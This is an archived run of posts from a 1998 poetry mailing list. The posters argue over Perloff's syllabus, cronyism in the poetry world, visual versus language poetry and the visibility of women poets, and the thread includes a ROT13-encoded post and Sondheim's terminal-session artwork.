I don't know where the kind of independence you envision exists - I'm not even sure what it's an independence from: but this idea of freedom from the influence of those Bad and Corrupt Publishers and Evil Successful Writers I'll hazard to guess has more to do with an anxiety about "contamination" than anything else. As if we all of us wrote in carefully sealed hermetic containers - "Oh MY Soul, Oh MY Inspiration - back off Jack!" Personally I welcome the enthusiams, the tastes, the excesses of writers I know: they challenge me to grow and, I hope, flourish, though that remains to be seen.

The fact of the matter is is that poetry exists and must thrive in the context of those heartless things, i.e. publishers, magazine editors, printers, critics, other writers, even the mail carrier gets a piece of the action, and the attempt to moralize about this situation merely has the effect of warping and decontextualizing any serious discussion about it. Exactly who are you attacking here - or is everyone on the List to be tarred with the same swift brush? It's well and good to rail against those with no integrity but if you go on in that vein you run the risk of demonizing a lot of people who are simply up against it like you and me and

everyone else, trying to make tough decisions and worried to death about screwing up their jobs, their lives, etc.

Born yesterday,
Patrick Pritchett

From: henry
To: [redacted]
Subject: Re: Perloff debate
Date: Tuesday, January 27, 1998 1:14PM

I see the buddy system & po-biz as a positive danger to independence, standards, and taste.

It is possible to write poetry, send it to journals & publishers, write essays, and find friends, allies and supporters, without sucking up, bullshitting, and betraying your principles. You may become a highly-acclaimed false prophet & bad poet eventually - or you may languish in honest obscurity. But you don't have to be a dog.

- Henry Gould

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884. **Aldon Nielsen**
Re: The Perloff Seminar
Tue 27 Jan 1998

I deeply resent the fact that nobody has denounced any of my syllabi. Surely this is a sign of . . . something.

↑ Index

885. **Miekal And**
Nibprick Perl Oft
Tue 27 Jan 1998

Ze Z

Vg vf erirnyvat gung lbh grez n zhpu arrqrq qvfphffvba bs ivfhny cbrgelf erynqvba gb cbrgvpf, npnqrzvpf, rpbabzvpf, qvfgevohgvba & zrqvn "qvfthfgvat"....vs lbh ernq gur jryy bire n 100 cbfgf pnershyyl (guvax Vir ernq rnpu va qrgnvy), irel yvggyr bs gur cbfgf pbaprea gurzfryirf jvgu gur vasnzbhf Creybss flyynohf, gub znal hfr vg nf n eryrinag & cbvagrq zrgncube sbe gur cbyvgvpf bs gur yvgrenel znpuvar.... Ab bar unf pbaqrzarq ZCf jbex nf n grnpure be jevgre & vs Vz erpbyyrpgvat pbeerpgyl zbfg bs hf unir fcbxra ubj uvtuyl jr ertneq ure jbex. Guvf qvfphffvba unf orra pbaqhpgrq jvgu erfcrpg gb nyy cnegvrf vaibyirq....V

srry yvxr gurer unf gehyl orra n fcvevg bs ybbxvat haqre gur eht, fnlvat jung vfag orvat fnvq, & birenyy V svaq gurfr cbfgf zbfg cebibpngvir & unir orra qr-frzvzngvat pbzcyvngvbaf bs inevbhf cbfg ba ivfhny cbrgel gb n ahzore bs bgure yvfgf va beqre gung gur qvfphffvba tbrf pebff punaary, bhgfvqr guvf pbml yvg-gyr rapynir.

Ze N

↑ Index

886. **d powell**
Another Mondegreen that comes to mind
Tue 27 Jan 1998

Maz881 wrote:

<Tagline = "Last night I dreamt of some bagel" --Madonna, Spanish Lullaby

I always thought she was saying, "Last night I dreamed I saw Pedro"

Doug
==========
D A Powell [redacted]
==========

↑ Index

887. **d powell**
Re: The Perloff Seminar
Tue 27 Jan 1998

Aldon Nielsen wrote:
>I deeply resent the fact that nobody has denounced any of my >syllabi.
>Surely this is a sign of . . . something.
>
Aldon,

I categorically denounce all syllabi. In fact, I categorically denounce all plurals in English that are declined as if still Latin. Once a word becomes English, it should behave accordingly. Ergo, I supplant syllabi with syllabuses; fungi with funguses, ominbi with omnibuses, pie with pusses and spaghetti with spaghet-tuses. This is not specific to your course of course but please accept what crumbs of indignance I am able to offer at this point.

Doug
==========

=====
D A Powell [redacted]
==========
=====

↑ Index

888. **Thomas Bell**
Part III, fri. po wars, digr on www vs. print
Tue 27 Jan 1998

---

from e-correspondence with Ted Warnell, quoted with permission:

"Input via hyperlinks... process of readers actions/reactions/ interaction with the presentation... creativity after the fact, or, re-creation of the meaning/the work in the reader's mind -- subjective. If so, this is an important comcept, central to all art, I think. The Web offers new means to realize this idea, means of objective as well as subjective realization.

"The Poem by Nari work there is an actualization/realization of the meaning of Mark's paper, 'Surf-Sample-Manipulate...'. The PbN work is constructed from both the content and code that is virtually/ conceptually/literally his paper. That's probably obvious. .... Given my understanding of the ideas expressed so eloguently by Mark Amerika, this work and future works attempt to move beyond the mechanics of surf-sample... to explore the meaning of surf-sample... and to create new meaning partly from the process (mine and the viewers - subjective), and also from the structure/restructuring of the source material (fixed plus dynamic at run time, subject to Web browser variables, etc., beyond my knowing - objective) . Use of quotes (you mentioned) in these works exist as 'cues' to the reader, providing (I hope) a subtle direction for interpretation without imposing meaning... links to source material (sometimes, not always) provide additional opportunity for viewer participation, much as your goals, I think.

"Subjective/objective is of current great interest...

"About a current fascination with new and glitz... I agree with your evaluation of 'art on the Web' at this time, and I see this as a natural and necessary stage in the development of the Web as creative medium/media. We all go through it at the start -- a need to explore and experiment with the medium to see what it can do, what we can do with it. This is how I view much of the 'art' currently on the Web, (including much of the work of Poem by Nari), more a technical exercise than an aesthetic expression. Eventually, of course, we get past all of this, and then begin to work *in* the medium (or the media that is the Web). I am seeing more of this now -- aesthetics beyond the technical. I see it in your work -- Winter is decidedly not glitzy. The use of hand drawn material brings a very

personal/human touch to this work (takes the viewer beyond a purely digital reference) -- my perception -- is this your intention?

↑ Index

889. **Thomas Bell**
Part IV fry nite po wars
Tue 27 Jan 1998

Milner again

"I had always assumed in some vague way that outlines were 'real'... looking at objects around me. When really looked at in relation to each other their outlines were not clear and compact, as I had always supposed them to be, they continually became lost in shadow... how was it possible to have remained unaware of this fact for so long? Second, why was such a great mental effort necessary in order to see the edges of objects as they actually show themselves...

"I noticed that the effort neede in order to see the edges of objects as they really look stirred a dim fear, a fear of what might happen if one let go one's mental hold on the outline which kept everything in its place; and it ws similiar to that fear of a wide focus of attention

"the outline represented the world of fact, of separable touchable solid objects; to cling to it was therefore surely to protect oneself against the other world, the world of imagination.

↑ Index

890. **Daniel Zimmerman**
Re: The Perloff Seminar
Tue 27 Jan 1998

Well, geez, Aldon: post 'em! Ya can't feel left out till ya try to feel left in. You know you can trust in the fairmindedness of this list: no one'll predenounce ya. Ya gotta be in it to spin it.

Dan

Aldon Nielsen wrote:
>
> I deeply resent the fact that nobody has denounced any of my syllabi.
> Surely this is a sign of . . . something.

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891. Thomas Bell
Re: vizzzipo schtuff
Wed 28 Jan 1998

At 11:06 PM 1/26/98 -0500, Scott Pound wrote:
>
>Materiality in poetry SHOULD mean works that brush up against the limits
>not of _the poem_ but of the real. That is what the best concrete vizpot
>does. It does not thematize matter; it challenges the audience to view
>letters and words as real things with a domension and duration all their
>own, not merely as indices in an overdetermined virtual world of meaning.
>
>There is great beauty and courage in work that is willing to forsake the
>readymade structure of phonetic literacy and put letters in the service of
>creating spaces and temporalities that outstrip anything the alphabet was
>designed to contain and control.
>
Didn't want these words buried at the end of your post and possibly missed.
Nice.

What you are talking about is one of the benefits I've been reaping in
adding the viz to my work.
tom bell

↑ Index

892. Thomas Bell
Re: Part II, fri.night po's etc
Wed 28 Jan 1998

At 11:46 AM 1/27/98 -0800, William Marsh wrote:
>tom -- i'm wondering what you think of all this, particularly the stuff
>below on "lines as perceptual units" and "intonation contours"
>
>At 11:43 PM 1/26/98 -0600, tom bell wrote:
>
>Reuven Tsur:
>>"Just as the graphic arrangement on the page presents the
>>lines as perceptual units to the eye, the intonation
>>contours heard in the reading of poetry present the lines as perceptual
>[skip]
>this takes the passage perhaps too far out of the "picture poem" focus the
>rest is concerned with, but i couldn't get past these early equations

>
>bill

bill,

You could ask Dr. Tsur - this material is on the web.

My take, though, is that yes, it is somewhat simplified - he is a psychologist and we do tend at times to simplify things literary, and I think he probably is not aware of vizpo and most likely other modern focuses on visual space in poetry. "Reader instructions" is a bit of jargon which might be better put as "reader suggestions" - an idea I've been playing with in some degree in my so-far-basic attempts to give the reader some choice in hyperlinks to follow as opposed to following the authors trails.

Your questions about "transparency" of graphic signs and the shape- shifting of phonetic/graphemic units are, I think, important ones that I don't think Dr. Tsur has resolved - they may not be resolvable in any simple manner and worth a pause in reading. These are issues I have been playing around with in my own way through collage, distortion of shapes, and clarity of words and ideas vs. obscurity, indecipherability of same on various backgrounds and the way the larger .gifs swallow or wipe out meaning or distort the apparent 'reality' of what is/was said verbally by the language, words, sounds, etc. I certainly don't have answers to any of these questions, but you can see some of my 'play' with these things on my sites. Will send URLs if you don't have them.

You do raise some interesting issues - thanks for the interest. tom bell

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893. Karen Kelley
Allen/Alan
Wed 28 Jan 1998

Can't remember if it's Allen or Alan?

Interestingly, Euphorbus, litmag out of Princeton, got the Allen right, but spelled his last name "Ginsburg." And to make matters worse, the poem refers to Marilyn Monroe's "butocks." Maybe academia isn't really all we're cracking it up to be.

Karen

↑ Index

894. **Harold Rhenisch**

Re: Originality in the young, hypocritical stance of the old, machismo

Wed 28 Jan 1998

Katy Lederer wrote:

>>It seems to me that the fact that young people
are writing (and thus engaging in the body politic as well
as the body aesthetic) should be enough--<<

I hope you don't mind me stepping in here, Katy, but I have so many questions. First: enough for what? That young people are so engaged is wonderful, necessary, admirable, deserving of support and celebration, yes, but...enough for what?

>> that these older writers
should just face the fact that their own stated poetics in some sense
preclude them from making aesthetic judgement about young writers...<<

In what sense? I don't follow you. We're all students. With all respect, that includes Pearlman and Perloff and Bernstein and Bowering. That's good.

What's more, I'm 40. That's neither particularly old nor particularly young. Does that mean I can make no aesthetic 'judgements', on those poets older or younger than myself? Does it follow as well that young writers can make no aesthetic 'judgements' on my work or on that of my elders? What use would such a stratification serve?

>> I just think that bad reviews (of young writers, of langpos) are a waste
of time.<<

Why would they be more or less a waste of time than bad reviews of any other writers or schools of poetry?

>> That what is fruitful is a discussion of those styles that, perhaps,
bridge some kind of gap enough to make us feel a little bit less
"solitary"--both
intellectually and aesthetically...<<

Splendid!

>> That what is most interesting to hear
about is how someone's style strikes us as more than individual (though
not necessarily "universal")--<<

Ah, so you're remarking that bad reviews in general are fruitless, that you'd rather see energy go towards making bridges than towards carving ravines? Great!

>>It just seems so "easy" to disagree with styles that seem far
from our own--<<

Yes, too easy.

regards,

Harold Rhenisch
[redacted]

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895. George Bowering
Re: Perloff debate
Wed 28 Jan 1998

Mr Grumman's attack on Perloff reminds me of all those socialist parties that were always attacking one another for not being the right kind of socialists. Why not go after the cement-heads who wont bother to read any interesting poetry at all? I would certainly advise any students I might have to enrol in Perloff's course instead of some course about dullard poets. The figures on her list sound (*and look!) pretty interesting to me. What's the complaint? I never get up the nerve to teach Zukofsky (well, not much) but I am sure glad someone does. Quartermain does. I am not going to jump on him for teaching Zuk instead of Reznikoff.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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896. Marcella Durand
Re: Allen/Alan
Wed 28 Jan 1998

A recent propoganda letter enclosure from Academy of American Poets for some reason mentioned "Allen Ginsburg"

From: Karen Kelley
Sent: Wednesday, January 28, 1998 1:15 AM
To: [redacted]
Subject: Allen/Alan

Can't remember if it's Allen or Alan?

Interestingly, Euphorbus, litmag out of Princeton, got the Allen right, but spelled his last name "Ginsburg." And to make matters worse, the poem refers to Marilyn Monroe's "butocks." Maybe academia isn't really all we're cracking it up to be.

Karen

↑ Index

897. **henry gould**
Re: vizzzipo schtuff
Wed 28 Jan 1998

When I was a kid my mother called my brother "the eyes" and me "the ears". Had to do not with the way we looked but how we used these senses. Some people do seem to be more psychologically "attuned" to visual art and its effects, others to sound. Some lucky people to both. But the "poetry wars" might keep this in mind... - Henry Gould

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898. **Henry Gould**
(no subject)
Wed 28 Jan 1998

On Tue, 27 Jan 1998 17:51:00 -0600 pritchpa said:
>My dear Henry, let it not be said that you ever passed up a chance to
>grab the moral high ground. Imagine my relief on learning that I don't
>have to be a dog! "Attention New York: cancel those dozen long-stems to
>Alice Quinn!" Cronyism is what's deplorable when others are able to use
>it to their advantage but great when it works to one's own.

Don't relieve yourself too soon, Patrick. You're barking up the wrong
fire hydrant (i.e. "we're all cronies here"). Nobody grabs the moral
high ground. We're talking about conditions under which poetry is made.
And if you think running with the pack is going to get you somewhere,
think again. They're headed for the dumpster.
>
>I don't know where the kind of independence you envision exists - I'm
>not even sure what it's an independence from: but this idea of freedom
>from the influence of those Bad and Corrupt Publishers and Evil
>Successful Writers I'll hazard to guess has more to do with an anxiety
>about "contamination" than anything else. As if we all of us wrote in
>carefully sealed hermetic containers - "Oh MY Soul, Oh MY Inspiration -

Actually, I've never been aware of any influence of Publishers on my work in any way shape or form. Writers, yes - as writers, not as pimps. I'm worth more than you can ever afford, & besides, I'm independent!

Academics fawn over their pets. Publishers suck up to academics (they order their books for courses). Your contemporaries want to have a good time being "writers". Do you want to write for any of these people? I write for love, love, love. Love is strong as death; jealousy as cruel as the grave.

- Henry Gould

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899. **dw**

Re: a sound and vision nexus

Wed 28 Jan 1998

I would like to second what I think I hear Bill Howe saying about the distinction between the material and the physical aspects of production, without claiming that one sort of poetry is a subset of the other. I would offer in a similar vein that some work that is highly visual is also in a way diagrammatic, not unlike avant-garde styles of musical scoring, and may take the notion of scored speech as an act of mapping. The interest in all this I suppose would be a of relatively formal/conceptual order, sifting, sorting, gridding, making few claims as to the content itself, but discovering meaning and use value. The foregoing is the vein that I would associate with the langpo--vispo nexus.

Vispo qua vispo (setting the diagrammatic to oneside for the moment) has gone through its own performative history--one in which the act of registering the mark on the page becomes one of the many performance aspects. It tends in the modern form to forefront collage, bricolage, --with an eye to some holographic sense of the fulleness or texture of the piece. It is resolutely non additive. Non syntactic I might say--as the visual arts in general seem non-syntactic unless you are as a reader determined to narrativize all visual productions. I think of how a text (like the Bible)can be sacred to an "illiterate" shaman pristess (Maria Sabina), of how hieroglyphs or runes have an untranslateable wholeness that is lost when phoneticized, linearized. I think this notion of wholeness as an experiential fact of physical performance, be performance a registration of marks in the sand or on the page or a shouting of gutterals on a ridge top is probably in fact just too spooky and unreal for a sensible material poetics like langpo and that is why there is so much at stake in this devbate for some writers/artists. I will go so far as to suggest that main drive for much vispo qua vispo has been a desire to experience in performance a touch of the sacred--that the ephemeral fact of performance is crucial to the multimedia zeitgest and that the tendency has been to move away form temple building eternalizations of the sacred to a

performative whole of feeling it on the fly of seeing it in samisdat and other instrumental forms always wanting somehow to produce more in different ways whether the quality oif the surface is degraded or slick--the situating of the artit's physical being in a way that allows production becomes crucial.

So how does the split boil out then: oneside emphasizes physical production of material objects even as thos objects themselves become more ephemeral, for this kind of vispo production is meaning; for langpo though the emphasis is on the materiality of meaning production and in its visual form lango po will seem more a mapping of surfaces than a making, using, enacting of them--and will even seem to violate the little bit of sacredness that can still be attached to production and that is why there is so much at stake in this debate for some of the respondents.

Don Wellman

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900. **Maria Damon**

Re: Originality in the young, hypocritical stance of the old, machismo

Wed 28 Jan 1998

---

katy l writes, among other things: In my view, writers like Lyn Hejinian, Carla Harryman, and Leslie Scalapio are far more true to the "tenets" of langpo that have to do with "socialist" approaches to writing--writing as participation in the sociopolitical, rather than as glorification of the individual through the lyrical display of sensitivity and accumen.

**** this brings up an interesting point i've been wanting to ask POETIX about for some time. while katy doesn't make it explicit, gender is an obvious subtext here. my experience is that, though i was first attracted to "language poetry" or whatever my understanding of it was some years ago by reading women -- hejinian, scalapino, waldrop, mayer, berssenbrugge, etc, and i started teaching them. i'd barely heard of bernstein, silliman i knew by name only (and because i knew he was involved w/ the socialist review), and watten's theoretical polemics in the anthologies i found somewhat turgid, perelman i knew not at all except that he was mentioned by jameson. however, when i started going to conferences on the poetry circuit (as opposed to the cult studs circuit) i met...bernstein, perelman, watten, etc. i found them quite delightful, not at all the disembodied hyperintellectuals i'd imagined. but scalapino, hejinian, etc, were nowhere to be seen. i still haven't met them. i have met rachel blau dp and joan retallack at conferences, and i did see susan howe years ago speaking about emily dickinson, and was blown away, but believe it or not i had no idea she was a poet at the time (mid -80s). i imagine this has something to do with

who teaches and thus has a travel stipend, etc. and i imagine that this, in turn, has to do with traditional divisions of labor as much as with taste (some people may not WANT to teach at a u, i'm aware, like ron s). while the u of mn has by now brought out kathleen fraser, mei-mei b and myung-mi kim (the latter two while i was away on sabbatical, typically enough; and the former without any knowledge that she participated in a certain style of writing). i know this is to some extent because i went to stanford when it was just crawling out from under its yvor winters legacy (marjorie and i overlapped for only a year i believe), and minnesota isn't exactly a mecca for writing communities, and the university, already pretty impecunious, is pretty much the most conservative cultural institution in the state, and that 's saying a lot; plus very hierarchical, so that it wasn't until after i'd been there 7 years that i even had the clout to suggest we bring anyone out...so anyway...anyway, what i'm saying is, while i'm aware that there are other factors in my not having met the people who first piqued my interest in experimental writing, it seems significant that, even having been on the academic po-conf circuit for a few years now my initial inspirants haven't been represented as thoroughly as their male counterparts. any ideas?.

↑ Index

901. **Jacques Debrot**
Re: Material/Physical
Wed 28 Jan 1998

Am I alone in thinking that the term "materiality" is often used in too reductive a sense? Koestler once made the telling point that in a cosmos where sub atomic particles go forward and backward in time, where light is both a particle & wave, that "material" is something almost imaginary.

The distinction between physicality & materiality -- quite apart from the context of visual poetics, or how the body/language divide was played by the New Americans & the Language poets -- seems very suggestive to me. An essay of John Yau's has been kicking around in my head for a couple of days in which he speaks of a type of artistic *scale* for which "the determing factor was the human body, not as something that could embrace an immense vista or chart a seemingly unlimited expanse, but as something contingent, doubtful, and questioning . . . Is it possible," he asks, "to privlege neither body (seeing, hearing, touching, tasting, and smelling) nor mind (remembering, conceiving, and dreaming) and still make art?" This seems relevant to poetry as well, & suggestive somehow of a kind of constantly shifting perception of the physical & material without the binarism that frequently occurs in LangPo & the New American poetry.

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902. **Maria Damon**
(no subject)
Wed 28 Jan 1998

At 8:17 AM -0500 1/28/98, Henry Gould wrote:
Academics fawn over their pets
***

hey now, yr painting w/ very broad strokes. writing for love love love is great great great, some of us academix do that too, baby baby baby. carry on --

↑ Index

903. **groberts**
Re: a sound and vision nexus
Wed 28 Jan 1998

"Poetry is Waiting"

At the start of this poem, you will stop up your ears.
At the start of this poem, you will stop up your.
At the start of this poem, you will stop up.
At the start of this poem, you will stop.
At the start of this poem, you will.
At the start of this poem, you.
At the start of this poem.
At the start of this.
At the start of.
At the start.
At the.
At.

For.
For the.
For the rest.
For the rest of.
For the rest of this.
For the rest of this poem.
For the rest of this poem, I.
For the rest of this poem, I will.
For the rest of this poem, I will keep.
For the rest of this poem, I will keep my.
For the rest of this poem, I will keep my mouth.
For the rest of this poem, I will keep my mouth shut.

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904. Dale M Smith
Contracting the Populace
Wed 28 Jan 1998

Howdy Y'all. It was a late night on the Texas poetry list. Me and Henny Cow-tow got into a showdown over the contractual aggrements between writers of the famous 'horseshoe'genre of Tx poetry vs. the Flat Bed Ford theory of visual presentation. But somewhere around 3 in the morning, Buffalo Pouty sent me an article he copied from the eeCOnomist. One excerpt reads:

"Contemporary poetry is often obscure or self-referential, neither scans nor rhymes nor tells a story, is impossible to memorise, is often about the act of writing poetry itself, is humourless, and can be more like a puzzle than a poem... Irontically, as poetry has become less significant as a cultural form, more of it has been produced."

I told Buffalo he was loco as a cooked goose. Folks down here just don't get high ideals or give a sympathetic god damn about formal gestures. You gotta practically pry Larry McMurtry off their face. But the ideas expressed on this Texas poetry list will surely bring'em round. Hell. The Economist is practically a Communist publication! What do they know?

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905. William R. Howe
a sound and vision nexus
Wed 28 Jan 1998

this discussion of vizzzzipoe has made me want to articulate (even in this brief kind of way) some of my thoughts on not only what constitutes vizzzi work but more over what i see as a more basic asthetic drive behind vizz. one of the roots of langpo production was (/is?) a desire to make visible the materiality of language and thereby be able to address linguistic economy and economies of meaning through a programmed disfunction of standard (or maybe more normative) meaning and sense making. through transforming the way in which we see meaning per se we are able to percieve qualities of language otherwise made invisible or transparent by our trained linguistic prejudice to see textual language as immediate communication. these newly visible qualities of language are in many cases what make language poetic (rhythm sound oddness shape etc)but by no means do the language poets have a monopoly on revealing languages otherness. fiction writers like federman bs johnson and steve katz were engaged in this project in the 60s. and one could make a case for dada zaum and the like to have been doing this before wwii. here though i would like to switch tact a bit and instead of talking about the materiality of language i would like to talk about the physicality of language which may seem like a bit of

a slim distinction but bear with me on this. sound and visual poetry is concerned with the physicality of language and communication. the physicallity of the act the physicality of the fact the physicality of text (whatever that might be). so a poetics of sound and vision is poetics of physicality rather than one of materiality. the destinction is that in the case of language poetry there is a concerted effort to examine ecconomies of meaning making and in visual and sound biz it is the object of the work itself which is under investigation rather than an investigation of the means of production. the physicality of a sound text by cris cheek both on the page and in the flesh is an examination of the nature of both communication outside of normative linguistic structures and what it means to produce one type of expression from another (sound from vision). steve mccafferys carnival works not so much because it is a huge piece of paper covered in courier but because it isn't a huge piece of paper covered in courier. bps cartoons and alphabetic fixations work because they incorperate a plethora of visual and linguistic elements into a plexus of meaning making outside of normative linguistic patterns (ie words). john currys little bits and things work the same way. and i could go on. so when i was down on druckers visible word as being too concerned with typography i was objecting not to examination of typography in general but to her seeing type as a means of articulating the visual at the expense of other meaning making stratagies in visual work. it seems important in looking at visual and sound texts to see them as a whole from the object of the book/the physical performance down through to the grain of the paper the type of ink the face of any type the shoes being worn the arangement of hands the syncopation of breathing the jumble of language etc. one of the reasons that this debate is so longwinded is that language poetry (certainly as evidenced by the early new york [nuf said] and baltimore folks [ie kirby malone chris mason and the rest of the coacident/epod clan]) works within the boundries of visual and sound poetry (and sometimes i am tempted to see language poetry as a subset of visual and sound poetry) although by no means does it cover the spectrum of visual and sound work. So marjories silly bus looks more like a language poetry anthology than a visual poetry one even though all of the work she is looking at contain strong visual experimentation. what she misses though is the rest of visual poetry miekals ball of popcorn.

bi
ll
ho
we

↑ Index

906. **J. Kuszai**
I am chicken banana
Wed 28 Jan 1998

Maria Damon wrote:
>
> katy l writes, among other things:
> In my view, writers like Lyn Hejinian, Carla Harryman, and Leslie
> Scalapio are far more true to the "tenets" of langpo that have to do with
> "socialist" approaches to writing--writing as participation in the
> sociopolitical, rather than as glorification of the individual through the
> lyrical display of sensitivity and accumen.
>
> ****
> this brings up an interesting point i've been wanting to ask POETIX about
> for some time. while katy doesn't make it explicit, gender is an obvious
> subtext here. my experience is that, though i was first attracted to
> "language poetry" or whatever my understanding of it was some years ago by
> reading women --hejinian, scalapino, waldrop, mayer, berssenbrugge, etc,

my experience to Maria's is extremely similar, except that I discovered Susan Howe first and then came to these other women writers. Because of this, and certain takes on the "sociopolitical" (K. Lederer) and linguistics, I have always felt that 70s movement towards (not of) "langwedge" poets was one whose most "genuine" players were women, meaning that they were the "best" poets of that "scene." Therefore, I have never understood the arguments that langouedge poetry was some kind of guy thing. Certainly that raises many structural and social issues which are sadly at play in the society at large. But I also felt that this arguement tended to elide the serious artists whose work had become crucial to me, and that it demeaned those women who felt otherwise from this perspective. I've found this to be true in grad school as well. But this isn't Maria's point and is kind of an aside.

And I came to language poetry standing in Powell's books in pdx and found that they stocked all the new poetry. Browsing I learned a lot. I found Susan H's work because it to me seemed to offer a possibility of "speech" in the post-speech era. Oppen first gave me tools to recognize again "the world" (out there as opposd to solipsistic interiority) and from Susan I was gathered by wings. Of course I said that this led me to others after, and that moment of transition from being an Oppen-head to being a Susan Howe-head was a very difficult and personally frightening moment of excited transition to....speech? I think of "Speeches at the barriers" by S.H. or her phrase "fragmentary narrative enclaves" or the first lines of Elizabeth Robinson's poem "Flower":

All that I can say is that I feel

something I am a warrior

It is speech And all the parts of me

are hunting All the particles

are eating at air

The parts of words eat at bits of

sweets because they cannot be the bearers

of anything else

This was something I had to say and

it was better than pursuit

That Katy mentions that these writers are demonstrating the socialist tenets of language writing is interesting. I'd like to hear more about this as I think it offers a facinating possibility for discussion. What is the value of those political claims today? What are the political-venues for these discussions about poetry?

Maria continues:
> anyway...anyway, what i'm saying is, while i'm aware that there are other
> factors in my not having met the people who first piqued my interest in
> experimental writing, it seems significant that, even having been on the
> academic po-conf circuit for a few years now my initial inspirants haven't
> been represented as thoroughly as their male counterparts. any ideas?.

It would be interesting to make a list of that group of writers. How many of them received PhDs? How many rec'd PhDs and then went on to pursue academic positions? How many did pursue academia but with only an MA or MFA? or less...I wonder also if isn't (hopefully) changing with respect to the current (?) generation.?? yeah, any ideas?

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907. **louis stroffolino**
Re: Material/Physical
Wed 28 Jan 1998

Hello Jacques---Yau's terms may be useful, the SPIRIT of Yau's terms are definitely worth exploring in poetry. I (and I think many other poets on this list) attended the opening to the show from which Yau's essay comes from. It is worth attending (Apex Art C.P. 291, Church St., NYC---until 2/7), not just to get a sense of Yau's curatorial eclecticism in the art world, but also to consider the possibility of the relations between painting and poetry again, or between

painters and poets--a connection that i personally would like to see more of, Anyway, i'm writing on the fly so I bye.....chris

On Wed, 28 Jan 1998, Jacques Debrot wrote:

> *Am I alone in thinking that the term "materiality" is often used in too reductive a sense? Koestler once made the telling point that in a cosmos where sub atomic particles go forward and backward in time, where light is both a particle & wave, that "material" is something almost imaginary.*
>
> *The distinction between physicality & materiality -- quite apart from the context of visual poetics, or how the body/language divide was played by the New Americans & the Language poets -- seems very suggestive to me. An essay of John Yau's has been kicking around in my head for a couple of days in which he speaks of a type of artistic *scale* for which "the determing factor was the human body, not as something that could embrace an immense vista or chart a seemingly unlimited expanse, but as something contingent, doubtful, and questioning . . . Is it possible," he asks, "to privlege neither body (seeing, hearing, touching, tasting, and smelling) nor mind (remembering, conceiving, and dreaming) and still make art?" This seems relevant to poetry as well, & suggestive somehow of a kind of constantly shifting perception of the physical & material without the binarism that frequently occurs in LangPo & the New American poetry.*

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908. **Alan Myouka Sondheim**

Nikuko, Mistake

Wed 28 Jan 1998

-

Nikuko mistakes Julu for the Doctor Script
Nikuko searches for Help
Nikuko's anger fills the world

Script started on Wed Jan 28 11:04:48 1998
warning: could not update utmp entry
$ ./.julu

Open your mouth...

Ah... speak... speak...

Jennifer, what do they call you, when they call you... doctor, they call me doctor

Are you dressed as doctor, they call me doctor? Is doctor, they call me doctor dressed as you? Are you in your flower, are you in your flesh, ah don't answer... Ah...

Is Julu wearing your ... , are you wearing your frock?
yes, I'm wearing my white lab coat

I love your feelings, doctor, they call me doctor ...
Would doctor, they call me doctor mind you partying?

Being thrusts me beneath or within your frock!

What do you call your contrary flower?
I need help, why I am writing you

Your body parts, mine, in a dark list, list them...
one by one, each on a line alone, typing Control-d when done.
My name is Nikuko
I live in Fukuoka
Please help me
My anger takes over the world
There is nothing but anger
My name is Nikuko

I need help, why I am writing you calls forth florid breast, eating, excreting memory. confusing the thrusting, I need help, why I am writing you is, thrusting, yes, i'm wearing my white lab coat? ... breast is There is nothing but anger here, its breast?

Are you becoming close to Jennifer's I need help, why I am writing you?
You must help me, my name is Nikuko
Wait! I need help, why I am writing you and 24613 are gone forever!

For 3 contrary days, I have been rich Julu ...
and it has taken you just 1.733 minutes turning Jennifer ...

my-skin-for-you...:yes, my beautiful flower:belonging:skin: Would belonging mind you partying, my-skin-for-you..., with us? Your contrary pale is in my protruding eyelid Ah, womb eaten by julu-of-the-open-arms and julu-depressed

I need help, why I am writing you:yes, i'm wearing my white lab coat:doctor, they call me doctor:I live in Fukuoka:My name is Nikuko Your florid My name is Nikuko is in my thrusting There is nothing but anger Devour florid My name is Nikuko julu-of-the partying I need help, why I am writing you!

$ exit

script done on Wed Jan 28 11:06:55 1998

↑ Index

909. Henry Gould
(no subject)
Wed 28 Jan 1998

On Wed, 28 Jan 1998 08:55:50 -0600 Maria Damon said:
>At 8:17 AM -0500 1/28/98, Henry Gould wrote:
>Academics fawn over their pets
>***
>
>hey now, yr painting w/ very broad strokes.

this is what academics are for, isn't it? Pinning down broad strokes to a narrow edge. Don't take it personally, Maria - unless it applies. - Henry

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910. MAYHEW
A few unrelated points
Wed 28 Jan 1998

---

1. It is Conte-- not "Joseph Comte"

2. If it is nepotistic for scholar/critics to to promote living writers, as Henry Gould suggests, then the clear alternative would be to promote dead ones who no longer depend on the academy for fellowships and the like, though I suppose that the heirs of these dead writers might also have a financial stake in the promotion of their work. Or should we write in a way that disguises the fact that we find the work of our contemporaries vitally interesting to us, in order to avoid this promotion?

3. If anyone knows of any studies of the dialectic between redundancy and concision in theories of poetic form and meaning please back-channel.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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911. Dale M Smith
Bombs, Away
Wed 28 Jan 1998

By the way, I think that the Yasusada Poems are well received, not because of the potential 'scandal' but because the poems have a specific context and reveal a complex emotional range. The narrative elements are also compelling, framing the poems. The subject matter is rich, the formal expression mysterious and tender. These poems attempt to reveal suffering, a rarity in many poems these days. I can't wait to see the movie. I guess the book will have to do for now. It's great to see something in print by a poet who can tell a story. What happened to the story?

↑ Index

912. Gary Sullivan
Response to Maria's Question
Wed 28 Jan 1998

Hello, Maria:

If I'm not mistaken, you went to Stanford in the 80s. At that time, an hour or so north of you, the women you mention (& more) were, to me anyway, more visible than their male counterparts: When I lived in San Francisco (1983-1991), the very first reading I went to was Dodie Bellamy (at SF State), I also saw Lyn read with Tom Raworth, and Lyn reading with Carla Harryman (from "The Wide Road"), Carla reading with someone else (can't remember who) and Leslie Scalapino at an AIDS benefit. Others I saw read were Norma Cole, gordon, Cole Swenson, Kathy Acker (a couple times), Beverly Dahlen, Colleen Lookingbill (she was in a reading/discussion group w/me & several others), Bernadette Mayer. I saw Perelman read with Creeley once, and Rodefer a couple of times, but never got the chance to see Ron read, nor Barry, nor Alan Davies, nor Bruce Andrews, nor Bernstein (saw him read in Minneapolis, much later). The Susan Howe reading, some months--maybe even a year or two--after I left town, was legendary, mainly for its attendance, apparently more people came to that than to Alice Notley (who I saw read a month or two before we left town). Lyn was pretty much the most visible of that general crowd, to my peers, largely because we were all collecting Tuumba Press books, and My Life won whatever the award is that S.F. State gives out or administers, so it was looked to as something "important" beyond what personal use we might make of it. Also, Scalapino, in good part due to her publishing O Books. We were aware of In the American Tree, and the New Directions Language Poetries, but didn't bother with them 